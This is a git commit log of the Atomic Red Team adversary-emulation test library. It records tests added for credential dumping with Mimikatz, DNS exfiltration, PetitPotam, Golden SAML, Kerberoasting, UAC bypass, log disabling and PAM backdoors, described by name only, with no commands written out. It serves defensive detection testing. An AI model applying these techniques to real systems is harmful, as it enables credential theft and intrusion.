CircleCI Atomic Red Team doc generator 57bf589ab7 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-01 14:37:22 +00:00
Vincent N fed35e3c21 T1003.003 wmic atomic bugfix (#1638)
* Add missing trailing backslash causing the wmic command to fail with the default drive_letter string

* Fix typos

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-10-01 08:36:46 -06:00
CircleCI Atomic Red Team doc generator 69c0e80bce Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-01 14:33:29 +00:00
CircleCI Atomic Red Team GUID generator 68dd3dbf48 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-10-01 14:33:24 +00:00
zedutchmann 6d358b996c Updated T1548.002.yaml file (#1636)
* Update T1548.002.yaml

Added (11) tests from UACMe project

* Update T1548.002.yaml

Added permalink for .zip file and changed descriptions

* Update T1548.002.yaml

* removed nonworking methods 37,58,65

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-10-01 08:33:02 -06:00
dependabot[bot] 114fe09474 Bump nokogiri from 1.11.4 to 1.12.5 (#1634)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.4 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.4...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-29 09:50:08 -06:00
CircleCI Atomic Red Team doc generator ae39dcfe39 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-23 21:43:13 +00:00
CircleCI Atomic Red Team GUID generator a612eaebb9 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-23 21:43:08 +00:00
lucasRiley 16bd391f53 Wevtutil Event log Disable (#1633)
* wevtutil sets the log and then disables it

* update input arg desc

Co-authored-by: Riley <lriley@NTI.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-09-23 15:42:33 -06:00
CircleCI Atomic Red Team doc generator 29fe641593 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-23 21:25:46 +00:00
CircleCI Atomic Red Team GUID generator c2d50e980f Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-23 21:25:41 +00:00
lucasRiley 32c8874944 Dns exfiltrator (#1631)
* DNSExfiltrator

* DNSExfiltrator DoH

* updated input arg descriptions

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-09-23 15:25:08 -06:00
CircleCI Atomic Red Team doc generator 3c80fa064e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-20 18:48:06 +00:00
CaptainMoss b8ba7470ca Update T1056.001.yaml (#1632)
Why executor name is command prompt ? It should be 'sh' for linux platforms right ?
2021-09-20 12:47:43 -06:00
CircleCI Atomic Red Team doc generator a0edb02b80 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-15 16:50:17 +00:00
Carrie Roberts ad77c4245c update description, correct link (#1630)
* update description, correct link

* Update T1082.yaml

updated a word

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-09-15 10:49:48 -06:00
CircleCI Atomic Red Team doc generator 2d3f3c6ba4 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-15 14:13:57 +00:00
Carrie Roberts e695715b47 using github permanent URL (#1628) 2021-09-15 08:13:16 -06:00
CircleCI Atomic Red Team doc generator e0b6ebd6c7 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-15 14:07:26 +00:00
CircleCI Atomic Red Team GUID generator fd9667ae0c Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-15 14:07:20 +00:00
Carrie Roberts f891465d8d Add PowerUp Invoke-AllChecks (#1629) 2021-09-15 08:06:46 -06:00
CircleCI Atomic Red Team doc generator 2a6a82f945 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-15 02:11:02 +00:00
CircleCI Atomic Red Team GUID generator 358124ee2d Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-15 02:10:57 +00:00
tlor89 ef9870b4a0 T1555.003_Update (#1626)
* T1555.003_Update

* Update T1555.003.yaml

Made the recommend changes

* description update

Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-09-14 20:10:23 -06:00
CircleCI Atomic Red Team doc generator 1173a5f1f3 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-15 01:29:34 +00:00
CircleCI Atomic Red Team GUID generator f7404e80e8 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-15 01:29:29 +00:00
Michael Haag f2201c7d4d Update T1069.001.yaml (#1627) 2021-09-14 19:29:06 -06:00
CircleCI Atomic Red Team doc generator 12ca65b029 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-10 15:56:41 +00:00
CircleCI Atomic Red Team GUID generator f6849b45b8 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-10 15:56:35 +00:00
Corellios c8aebb9a41 Add SharpHound LocalAdmin attack (#1625) 2021-09-10 09:56:00 -06:00
CircleCI Atomic Red Team doc generator 895016b6bd Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-10 15:47:32 +00:00
CircleCI Atomic Red Team GUID generator 76420cb24e Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-10 15:47:27 +00:00
Corellios adb2b53f0f T1187: PetitPotam coerce authentication attack (#1620)
* Add PetitPotam coerce authentication attack

* Change executable URL to a permalink

* Fix cleaning

Co-authored-by: Clément Notin <cnotin@tenable.com>
2021-09-10 09:47:00 -06:00
CircleCI Atomic Red Team doc generator a7e6de503a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-09 21:10:42 +00:00
Raislin d5c9c01e4f Update T1047.yaml (#1624) 2021-09-09 15:10:08 -06:00
CircleCI Atomic Red Team doc generator b66dfc7001 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-09 20:59:14 +00:00
CircleCI Atomic Red Team GUID generator acd77c68cb Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-09 20:59:10 +00:00
Raislin 167fb3c2f6 T1047_update (#1623)
* T1047_update

* T1047_update

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-09-09 14:58:43 -06:00
CircleCI Atomic Red Team doc generator 217dc47106 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-09 18:05:56 +00:00
CircleCI Atomic Red Team GUID generator 1605c05954 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-09 18:05:50 +00:00
Brian Thacker fbbdd008ac Add test Windows - Disable the SR scheduled task (#1622)
Use schtasks.exe to disable the System Restore (SR) scheduled task

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-09-09 12:05:16 -06:00
CircleCI Atomic Red Team doc generator ba0b1a3c35 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-09 18:02:46 +00:00
CircleCI Atomic Red Team GUID generator 356a8bbe88 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-09 18:02:40 +00:00
Brian Thacker 6d46517d6f T1105 add test download with imewdbld (#1621)
* Add test "Download a file with IMEWDBLD.exe"

IMEWDBLD.exe can be used to download files from third party websites. This will throw an error for an invalid dictionary but the file will still be downloaded.
Commands to execute this activity and cleanup commands added.
Cleanup commands call on cmd.exe because PowerShell by default would not remove those files.
Disclosed by https://twitter.com/notwhickey
https://twitter.com/notwhickey/status/136749340683504026

* Update T1105.yaml

fixed typo test 17

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-09-09 12:02:26 -06:00
CircleCI Atomic Red Team doc generator 4114a92cfa Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-08 16:17:12 +00:00
CircleCI Atomic Red Team GUID generator 095df1c717 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-08 16:17:08 +00:00
Bhavin Patel 4fad473a71 Merge pull request #1606 from piaconsigny/pr-golden-saml
T1606.002: Add Golden SAML atomic
2021-09-08 09:16:36 -07:00
Bhavin Patel 4cdedbef11 Merge branch 'master' into pr-golden-saml 2021-09-08 09:15:57 -07:00
CircleCI Atomic Red Team doc generator f72420bbcc Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-04 00:27:02 +00:00
CircleCI Atomic Red Team GUID generator e4bfc77bf2 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-04 00:26:58 +00:00
tlor89 ae0fd36089 Added ScreenConnect application (#1618)
* Added ScreenConnect application

* update line spacing

* some wording updates and cleanup.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-09-03 18:26:26 -06:00
CircleCI Atomic Red Team doc generator bc21f59ff0 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-04 00:21:31 +00:00
Josh Rickard 1513717eb2 Updating atomics to conform to standard (#1619)
* Updated format of input_argument types for Url

* Updated type for input_arguments to Url (missed)

* Updating Path type for input_arguments

* Updated String type for input_arguments

* Missed a few Strings and Url types

* Updated default values for input_arguments to align with their types

* Updated Integer type for input_arguments

* Updated formatting and spacing of atomics
2021-09-03 18:20:46 -06:00
CircleCI Atomic Red Team doc generator bcedc9a826 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-02 15:24:25 +00:00
CircleCI Atomic Red Team GUID generator 216113c9bf Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-09-02 15:24:20 +00:00
Michael Haag ab822b2208 Trust Reconnaissance (#1616)
Two simple Atomic Tests for domain and forest trust information.
2021-09-02 09:23:44 -06:00
Adam Mashinchi fb6a424ec1 Update README.md (#1615)
Added single character to reflect changes on websites and in wiki.
2021-09-01 16:59:18 -06:00
Adam Mashinchi 2892843e35 Merge pull request #1614 from redcanaryco/complete-art-io-site-migration
Delete docs directory
2021-08-30 12:53:26 -07:00
Carrie Roberts 0ce485a43b Merge branch 'master' into complete-art-io-site-migration 2021-08-30 13:52:54 -06:00
CircleCI Atomic Red Team doc generator 38b2b2f2d3 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-30 19:52:44 +00:00
Carrie Roberts 1d43b259fa Merge branch 'master' into complete-art-io-site-migration 2021-08-30 13:52:44 -06:00
CircleCI Atomic Red Team GUID generator 7e4f6a4b88 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-30 19:52:38 +00:00
Carrie Roberts 762e2992a7 Merge branch 'master' into complete-art-io-site-migration 2021-08-30 13:52:32 -06:00
Brian Thacker aca73307fa Add test "Remove the Zone.Identifier alternate data stream" (#1612)
Add test "Remove the Zone.Identifier alternate data stream". Test command removes the zone.identifier. The cleanup command adds the zone.identifier with the id for "internet". Check prereq checks that the test file exists. Get prereq gets the file from the internet and adds the zone.identifier with the id for "internet". 
More info:
https://www.howtogeek.com/70012/what-causes-the-file-downloaded-from-the-internet-warning-and-how-can-i-easily-remove-it/
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7
https://www.reddit.com/r/PowerShell/comments/6yyf07/remove_alternate_data_streams/dmrb6zl/

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-08-30 13:52:02 -06:00
Adam Mashinchi fc96cac822 Delete docs directory
Migrated atomicredteam[.]io site to new location.
2021-08-30 12:44:02 -07:00
CircleCI Atomic Red Team doc generator e95076c17d Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-30 19:16:31 +00:00
CircleCI Atomic Red Team GUID generator 78a438c687 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-30 19:16:26 +00:00
Araveti Esanya Reddy 5bda040ce8 Updated O365-Disable-AntiPhishRule test (#1611)
* updated O365-Disable-AntiPhishRule test

* updated as per review comments

Co-authored-by: Araveti Esanya Reddy <esanya.araveti@kudelskisecurity.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-08-30 13:15:58 -06:00
Adam Mashinchi 9965165d19 Delete CNAME (#1613)
Removing file in prep to migrate atomicredteam[.]io site.
2021-08-30 13:13:57 -06:00
ChrisClewellRC 19146099ab Create CNAME 2021-08-30 13:09:12 -06:00
ChrisClewellRC b10ba3ecde Delete CNAME 2021-08-30 13:08:38 -06:00
ChrisClewellRC 0391079857 Create CNAME 2021-08-30 13:05:51 -06:00
ChrisClewellRC f73d6feff5 Delete CNAME 2021-08-30 13:05:10 -06:00
CircleCI Atomic Red Team doc generator a0cf92ca59 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 20:09:31 +00:00
CircleCI Atomic Red Team GUID generator cf00395732 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 20:09:26 +00:00
DS 173155eaa6 T1134.002 - Access Token Manipulation: Create Process with Token (#1601)
* Create T1134.002.yaml

* Add files via upload

* Create GetToken.ps1

* Add files via upload

* Delete T1134.002.yaml

* Add files via upload

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-08-27 14:09:00 -06:00
CircleCI Atomic Red Team doc generator 1f4a8b9565 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 20:04:57 +00:00
CircleCI Atomic Red Team GUID generator 7e88e14db9 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 20:04:52 +00:00
Ayantaker a069f3233c Added a new technique T1041 - Exfiltration Over C2 Channel (#1593)
* Added a new technique T1041 - Exfiltration Over C2 Channel

* use filepath variable throughout

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-08-27 14:04:22 -06:00
CircleCI Atomic Red Team doc generator 93a6ff56d0 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 19:58:05 +00:00
CircleCI Atomic Red Team GUID generator b7d3dbb3f4 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 19:57:59 +00:00
Ján Trenčanský 521b1abc16 T1555 enumeration with vaultcmd (#1581)
* Extract credentials from Windows Credential Manager using vaultcmd.exe

* Replace external script dependency in T1555 with powershell command

* Add tests for both vaults in T1555

* T1555 fix name and description

* Revert "Replace external script dependency in T1555 with powershell command"

This reverts commit d8d6a7cf2bbc94a8240643ca600d9be62e0b697e.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-08-27 13:57:24 -06:00
CircleCI Atomic Red Team doc generator 06d792aed3 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 16:58:23 +00:00
Carl c73195396d Merge pull request #1600 from bnt1006/T1553.004_cleanup_test1
Update "Install root CA on CentOS/RHEL"
2021-08-27 06:57:51 -10:00
Carl 6c7b4eabd8 Merge branch 'master' into T1553.004_cleanup_test1 2021-08-27 06:47:14 -10:00
CircleCI Atomic Red Team doc generator eb62bcd9fc Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 15:57:14 +00:00
CircleCI Atomic Red Team GUID generator 509d87ad1e Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 15:57:09 +00:00
Carl 5afa61510b Merge pull request #1598 from JChamblee99/T1556.003-pam
T1556.003 Pluggable Authentication Modules
2021-08-27 05:56:40 -10:00
Carl 7c7745c98f Merge branch 'master' into T1556.003-pam 2021-08-27 05:55:56 -10:00
CircleCI Atomic Red Team doc generator a7ff562b6e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 15:54:05 +00:00
CircleCI Atomic Red Team GUID generator eac3cad041 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 15:54:00 +00:00
Carl 10d2bdb182 Merge pull request #1590 from JChamblee99/master
T1548.001 - Added Linux capabilities to SUID tests
2021-08-27 05:53:24 -10:00
Carl 13136ba535 Merge branch 'master' into master 2021-08-27 05:50:15 -10:00
CircleCI Atomic Red Team doc generator 9f9d549bf5 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 15:36:59 +00:00
CircleCI Atomic Red Team GUID generator fb345d8ace Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-27 15:36:54 +00:00
Carl b91a58eecd Merge pull request #1561 from chdd-ltd/T1056.001
T1056.001 - Added 4 Linux tests
2021-08-27 05:36:15 -10:00
Carl bb56e3718d Merge branch 'master' into T1056.001 2021-08-27 05:23:17 -10:00
CircleCI Atomic Red Team doc generator b10fa043d1 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-23 21:09:34 +00:00
Arioch 50e36cb7e7 Update hardcoded Mimikatz releases download URLs (#1604)
* update references to hardcoded mimikatz releases

* update invoke-webreauest parameters

* apply -UseBasicParsing consistently to Invoke-WebRequest calls

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-08-23 15:08:54 -06:00
CircleCI Atomic Red Team doc generator c2601f14ed Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-23 21:07:19 +00:00
CircleCI Atomic Red Team GUID generator 049c18afad Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-23 21:07:15 +00:00
gregclermont 9da37dabc8 Add T1113 test for CopyFromScreen API (#1610) 2021-08-23 15:06:58 -06:00
CircleCI Atomic Red Team doc generator 69aa9d859d Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-20 20:18:22 +00:00
CircleCI Atomic Red Team GUID generator 2b02f77332 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-20 20:18:17 +00:00
Brandon Morgan ad98393d8b rubeus-kerberoasting (#1609)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-08-20 14:17:49 -06:00
CircleCI Atomic Red Team doc generator f72d8699bf Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-19 15:03:48 +00:00
CircleCI Atomic Red Team GUID generator c7ff36af56 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-19 15:03:43 +00:00
Adam Mashinchi 263ce17738 Merge pull request #1605 from piaconsigny/pr-adfs-certificates-theft
T1552.004: ADFS Certificates theft
2021-08-19 08:03:14 -07:00
piaconsigny 51cdbea1d0 Merge branch 'master' into pr-domain-trust-modif 2021-08-19 16:21:00 +02:00
piaconsigny 364bfbe5e9 Merge branch 'master' into pr-adfs-certificates-theft 2021-08-19 16:20:39 +02:00
piaconsigny ad57ab326d Merge branch 'master' into pr-golden-saml 2021-08-19 16:19:49 +02:00
CircleCI Atomic Red Team doc generator 9b8c28e748 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-19 14:15:53 +00:00
Carrie Roberts 697d400d0e bump layer version (#1608) 2021-08-19 08:15:15 -06:00
piaconsigny 07962d0e39 add newline at eof 2021-08-19 12:14:46 +02:00
piaconsigny e3f54a4343 add domain trust modification 2021-08-19 12:04:39 +02:00
piaconsigny 9221258a22 add golden saml attack 2021-08-19 11:51:28 +02:00
piaconsigny 0fd43a3d63 add adfs certificates theft 2021-08-19 11:20:48 +02:00
CircleCI Atomic Red Team doc generator 7110df3098 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-18 21:27:57 +00:00
Arioch 5ea85dab6d T1055-2: update mimikatz download url (#1602)
* update mimikatz download url

* fix minor typo

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-08-18 15:27:26 -06:00
CircleCI Atomic Red Team doc generator 37ce8d9be8 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-18 21:17:37 +00:00
CircleCI Atomic Red Team GUID generator f92bd6473f Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-18 21:17:32 +00:00
Brandon Morgan 39edc22a9f T1558 rubeus (#1603)
* intial rubeus test

* update exe url

* fix command strings

* permalink, elevation, cleanup command

Co-authored-by: Brandon Morgan <bmorgan@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-08-18 15:17:01 -06:00
CircleCI Atomic Red Team doc generator 2795e1312d Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-18 20:14:40 +00:00
CircleCI Atomic Red Team GUID generator 6f08a31002 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-18 20:14:35 +00:00
Bhavin Patel e5fd42931c Merge pull request #1597 from esanyaCode/T1562.008-aws-cloudtrail-changes
Automated AWS cloudtrail changes
2021-08-18 13:14:02 -07:00
Bhavin Patel d99e02dcbe Merge branch 'master' into T1562.008-aws-cloudtrail-changes 2021-08-18 13:12:58 -07:00
Araveti Esanya Reddy a910184ca6 Update T1562.008.yaml 2021-08-17 10:22:01 +05:30
CircleCI Atomic Red Team doc generator 9a4ad97b01 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-16 13:54:34 +00:00
Jose Enrique Hernandez 74de7af42f adding new platform layer generation (#1599) 2021-08-16 07:54:02 -06:00
Brian Thacker db13f03c8e Merge branch 'master' into T1553.004_cleanup_test1 2021-08-15 16:47:40 -05:00
Brian Thacker c61fe2b6aa Update "Install root CA on CentOS/RHEL"
Removed check for centos 5 vs 7. Changed commands to use input variables. Added cleanup command. Added elevation required.
2021-08-15 15:19:14 -05:00
JChamblee99 3864732322 Removed test_command to resemble other atomic tests 2021-08-14 05:31:37 +00:00
Jose Enrique Hernandez 57fd02e118 Merge branch 'master' into T1562.008-aws-cloudtrail-changes 2021-08-12 15:51:03 -04:00
JChamblee99 382a8fd653 Merge branch 'T1556.003-pam' of github.com:JChamblee99/atomic-red-team into T1556.003-pam 2021-08-12 18:25:14 +00:00
JChamblee99 a190c3d9c6 Added dependency check for PAM development library 2021-08-12 18:24:53 +00:00
John Chamblee 19820c2136 Merge branch 'master' into T1556.003-pam 2021-08-12 12:54:36 -05:00
JChamblee99 665573613f Added 2 tests for T1556.003 2021-08-12 17:21:15 +00:00
JChamblee99 a619701ba2 Removed unnecessary sudo's 2021-08-12 16:28:34 +00:00
JChamblee99 fad21bdb42 Created separate source code for setcap 2021-08-12 16:01:51 +00:00
John Chamblee ee19b9b165 Merge branch 'master' into master 2021-08-12 11:00:32 -05:00
Araveti Esanya Reddy b1b3ec86bf Delete policy.json 2021-08-12 09:06:22 +05:30
Araveti Esanya Reddy cbd8ea2e60 updated cleanup command 2021-08-12 09:04:10 +05:30
CircleCI Atomic Red Team doc generator 370062439e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-12 02:28:11 +00:00
CircleCI Atomic Red Team GUID generator d981e845fd Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-12 02:28:06 +00:00
DS b4c10e2fa8 Update T1078.001.yaml (#1589) 2021-08-11 20:27:45 -06:00
Araveti Esanya Reddy cd8ea24c61 updated bucket policy 2021-08-11 16:47:31 +05:30
John Chamblee 8925289b32 Merge branch 'redcanaryco:master' into master 2021-08-11 00:22:28 -05:00
Araveti Esanya Reddy 6fe437d2c1 Automated AWS cloudtrail changes 2021-08-10 12:23:02 +05:30
CircleCI Atomic Red Team doc generator 6e4cbb9e85 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-09 16:07:26 +00:00
CircleCI Atomic Red Team GUID generator bb1885e040 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-09 16:07:19 +00:00
Brandon Morgan ddeb15ae41 Update T1003.002.yaml (#1595)
Added test 6 to dump hives with System.IO.File.  Also tweaked test 5 so that the hive could be selected by the user, same as in test 6
2021-08-09 10:07:00 -06:00
CircleCI Atomic Red Team doc generator 8d84482954 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-07 18:14:40 +00:00
CircleCI Atomic Red Team GUID generator 38cd41e80e Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-07 18:14:36 +00:00
Brandon Morgan bd5ae3ad84 dump shadow hive w/ certutil (#1594) 2021-08-07 12:14:14 -06:00
CircleCI Atomic Red Team doc generator fcacbd16eb Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-06 21:59:23 +00:00
CircleCI Atomic Red Team GUID generator e577e8b72f Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-06 21:59:18 +00:00
Brandon Morgan d0e8a59a28 T1137 xll (#1592)
* upload xll and source

* T1137.006 yaml

* Update T1137.006.yaml

fix yaml error, swap out final url for xll

* cleaning directories

deleted the gitignore, added src and bin directories and moved the appropriate files there.  modified the xll url to include the bin directory

* remove extra comments

Co-authored-by: Brandon Morgan <bmorgan@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-08-06 15:58:52 -06:00
JChamblee99 20c5d6eb20 Added Linux capabilities tests 2021-08-06 14:24:51 +00:00
Carl 5a15e12df8 Merge branch 'master' into T1056.001 2021-08-05 07:13:06 -10:00
CircleCI Atomic Red Team doc generator 0312928e97 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-05 17:13:02 +00:00
Carl a673221e1a Merge pull request #1563 from sc0o/fix/T1222.002
fix(T1222.002): recursive chmod and chown for macos
2021-08-05 07:12:32 -10:00
Carl 419fa49f54 Merge branch 'master' into fix/T1222.002 2021-08-05 07:12:05 -10:00
Carl 5613ce8e60 Merge branch 'master' into T1056.001 2021-08-05 07:10:53 -10:00
CircleCI Atomic Red Team doc generator 7e20a51adb Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-05 17:07:48 +00:00
CircleCI Atomic Red Team GUID generator 93b0a73285 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-05 17:07:42 +00:00
Carl 9ab17b7e68 Merge pull request #1537 from chdd-ltd/T1562.004
T1562.004 deleted 1 added 9
2021-08-05 07:07:09 -10:00
Carl 4f81c528bd Merge branch 'master' into T1562.004 2021-08-05 07:05:34 -10:00
CircleCI Atomic Red Team doc generator 7ddb14123d Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-05 17:04:33 +00:00
CircleCI Atomic Red Team GUID generator b80b72e44d Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-05 17:04:25 +00:00
Carl 1bb401a8a4 Merge branch 'master' into T1562.004 2021-08-05 07:03:53 -10:00
Carl cfde849676 Merge pull request #1528 from rctgardner/t1140_extended
T1140 Deobfuscate/Decode Files or Information: Extended tests
2021-08-05 07:03:24 -10:00
Carl b81f4489c3 Merge branch 'master' into t1140_extended 2021-08-05 06:32:32 -10:00
CircleCI Atomic Red Team doc generator 9f0541825e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-05 16:31:20 +00:00
CircleCI Atomic Red Team GUID generator cd173b9f4a Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-05 16:31:15 +00:00
Carl e3dc8e4fd2 Merge branch 'master' into t1140_extended 2021-08-05 06:30:44 -10:00
Carl 67f15c4e1e Merge pull request #1525 from chdd-ltd/T1552.004_add_gnupg
added GnuPG to T1552.004 & tidyup
2021-08-05 06:30:38 -10:00
Carl 4e3471efdf Merge branch 'master' into t1140_extended 2021-08-05 06:26:09 -10:00
Carl b200521e92 Merge branch 'master' into T1552.004_add_gnupg 2021-08-05 06:25:52 -10:00
CircleCI Atomic Red Team doc generator 261d9b73c7 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-04 23:32:25 +00:00
CircleCI Atomic Red Team GUID generator d22fc59914 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-04 23:32:20 +00:00
Benjamin Hendrix e960b3a91a Added T1204.002 Test 9 for Generic Payload Download (#1586)
* Added T1204.002 Test 9 for Generic Payload Download

* Modified T1204.002 Test 9 for Generic Payload Download by adding verbage

* Modified T1204.002 Test 9 for Generic Payload Download by adding verbage

* Modified T1204.002 Test 9 for Generic Payload Download by adding examples

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-08-04 17:31:43 -06:00
CircleCI Atomic Red Team doc generator 7f9e8ac8cb Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-04 22:23:53 +00:00
CircleCI Atomic Red Team GUID generator 7c2d28a434 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-08-04 22:23:47 +00:00
John Chamblee ce242038b2 T1572 Protocol Tunneling (DNS over HTTPS) (#1585)
* Added DoH tunneling for T1071.004 tests 1-3

* Narrowed console output to the request content
2021-08-04 16:23:10 -06:00
Adam Mashinchi 2ffeae2444 Update default.html (#1584)
* Update default.html

Revert Logo source.

* Delete header_logo1.png
2021-08-03 14:20:12 -06:00
bw c7a84ff629 Updated binary to match what is in the src code. Previous binary used (#1579)
older code.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-08-03 13:40:36 -06:00
